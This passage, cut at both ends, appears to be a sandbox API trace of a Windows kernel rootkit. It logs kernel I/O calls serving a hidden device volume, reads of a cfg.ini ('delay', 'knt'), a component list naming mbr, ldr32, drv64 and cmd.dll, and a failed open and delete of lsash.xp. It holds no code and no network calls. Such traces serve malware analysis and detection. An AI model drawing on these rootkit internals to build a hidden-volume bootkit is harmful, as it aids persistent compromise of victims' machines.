Context=0x0) returned 0xc000007e [0129.243] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.243] KeLeaveCriticalRegion () [0129.243] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.243] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.243] KeEnterCriticalRegion () [0129.243] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.243] ExFreePoolWithTag (P=0xfffffa8003c03390, Tag=0x0) [0129.243] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.243] KeLeaveCriticalRegion () [0129.243] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.243] ReleaseMutex (hMutex=0xf0) returned 1 [0129.243] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.243] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.243] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.243] KeEnterCriticalRegion () [0129.243] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.243] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.243] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.243] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.243] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.243] IdePortDispatch () returned 0x103 [0129.243] KeWaitForMutexObject () returned 0x0 [0129.243] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.243] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.244] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.244] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.244] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.244] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c04cb0 [0129.244] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.244] KeLeaveCriticalRegion () [0129.244] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.244] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.244] KeEnterCriticalRegion () [0129.244] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.244] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.244] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.244] KeLeaveCriticalRegion () [0129.244] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.244] KeEnterCriticalRegion () [0129.244] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.244] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.244] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.244] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.244] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.244] IdePortDispatch () returned 0x103 [0129.244] KeWaitForMutexObject () returned 0x0 [0129.244] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.244] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.244] KeLeaveCriticalRegion () [0129.244] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.244] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.244] KeEnterCriticalRegion () [0129.244] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.244] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bbf000 [0129.244] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.244] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.245] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.245] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.245] IdePortDispatch () returned 0x103 [0129.245] KeWaitForMutexObject () returned 0x0 [0129.245] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.245] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.245] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.245] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.245] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.245] IdePortDispatch () returned 0x103 [0129.245] KeWaitForMutexObject () returned 0x0 [0129.245] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.245] KeLeaveCriticalRegion () [0129.245] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.246] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.246] KeEnterCriticalRegion () [0129.246] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.246] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.246] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.246] KeLeaveCriticalRegion () [0129.246] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.246] KeEnterCriticalRegion () [0129.246] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.246] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.246] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c04d70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.246] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.246] KeLeaveCriticalRegion () [0129.246] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.246] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.246] KeEnterCriticalRegion () [0129.246] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.246] ExFreePoolWithTag (P=0xfffffa8003c04cb0, Tag=0x0) [0129.246] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.246] KeLeaveCriticalRegion () [0129.246] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.246] ReleaseMutex (hMutex=0xf0) returned 1 [0129.246] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.246] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.246] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.246] KeEnterCriticalRegion () [0129.246] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.246] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.246] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.246] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.246] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.246] IdePortDispatch () returned 0x103 [0129.247] KeWaitForMutexObject () returned 0x0 [0129.247] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.247] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.247] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.247] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.247] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.247] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03a60 [0129.247] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.247] KeLeaveCriticalRegion () [0129.247] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.247] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.248] KeEnterCriticalRegion () [0129.248] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.248] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.248] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.248] KeLeaveCriticalRegion () [0129.248] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.248] KeEnterCriticalRegion () [0129.248] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.248] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.248] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.248] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.248] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.248] IdePortDispatch () returned 0x103 [0129.248] KeWaitForMutexObject () returned 0x0 [0129.248] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.248] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.248] KeLeaveCriticalRegion () [0129.248] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.248] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.248] KeEnterCriticalRegion () [0129.248] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.248] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bc0000 [0129.248] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.248] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.248] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.248] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.248] IdePortDispatch () returned 0x103 [0129.248] KeWaitForMutexObject () returned 0x0 [0129.249] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.249] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.249] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.249] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.249] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.249] IdePortDispatch () returned 0x103 [0129.249] KeWaitForMutexObject () returned 0x0 [0129.249] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.249] KeLeaveCriticalRegion () [0129.249] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.249] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.249] KeEnterCriticalRegion () [0129.249] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.249] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.250] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.250] KeLeaveCriticalRegion () [0129.250] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.250] KeEnterCriticalRegion () [0129.250] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.250] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.250] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02980, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.250] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.250] KeLeaveCriticalRegion () [0129.250] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.250] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.250] KeEnterCriticalRegion () [0129.250] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.250] ExFreePoolWithTag (P=0xfffffa8003c03a60, Tag=0x0) [0129.250] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.250] KeLeaveCriticalRegion () [0129.250] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.250] ReleaseMutex (hMutex=0xf0) returned 1 [0129.250] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.250] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.250] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.250] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.250] KeEnterCriticalRegion () [0129.250] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.250] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.250] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.250] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.250] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.250] IdePortDispatch () returned 0x103 [0129.250] KeWaitForMutexObject () returned 0x0 [0129.250] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.251] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.251] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.251] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.251] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.251] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.251] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.251] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.251] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.251] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.251] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.251] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.251] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.251] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.251] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.251] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.251] KeLeaveCriticalRegion () [0129.251] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.251] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.251] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.251] KeEnterCriticalRegion () [0129.251] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.251] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.251] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.251] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.251] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.251] IdePortDispatch () returned 0x103 [0129.251] KeWaitForMutexObject () returned 0x0 [0129.251] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.251] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.251] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.251] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.251] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.251] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.251] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.251] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.251] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.252] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.252] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.252] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.252] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.252] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.252] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.252] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.252] KeLeaveCriticalRegion () [0129.252] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.252] ReleaseMutex (hMutex=0x100) returned 1 [0129.252] Sleep (dwMilliseconds=0x2bf20) [0129.259] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x703dd910, dwHighDateTime=0x1d24fa4)) [0129.259] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.259] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.259] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.259] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.259] KeEnterCriticalRegion () [0129.259] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.259] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.259] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.259] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.259] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.259] IdePortDispatch () returned 0x103 [0129.259] KeWaitForMutexObject () returned 0x0 [0129.259] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.259] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.259] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.259] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.259] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.259] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02c70 [0129.259] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.259] KeLeaveCriticalRegion () [0129.259] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.259] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.259] KeEnterCriticalRegion () [0129.259] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.259] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.259] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.260] KeLeaveCriticalRegion () [0129.260] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.260] KeEnterCriticalRegion () [0129.260] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.260] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.260] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.260] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.260] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.260] IdePortDispatch () returned 0x103 [0129.260] KeWaitForMutexObject () returned 0x0 [0129.260] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.260] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.260] KeLeaveCriticalRegion () [0129.260] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.260] _snprintf (in: 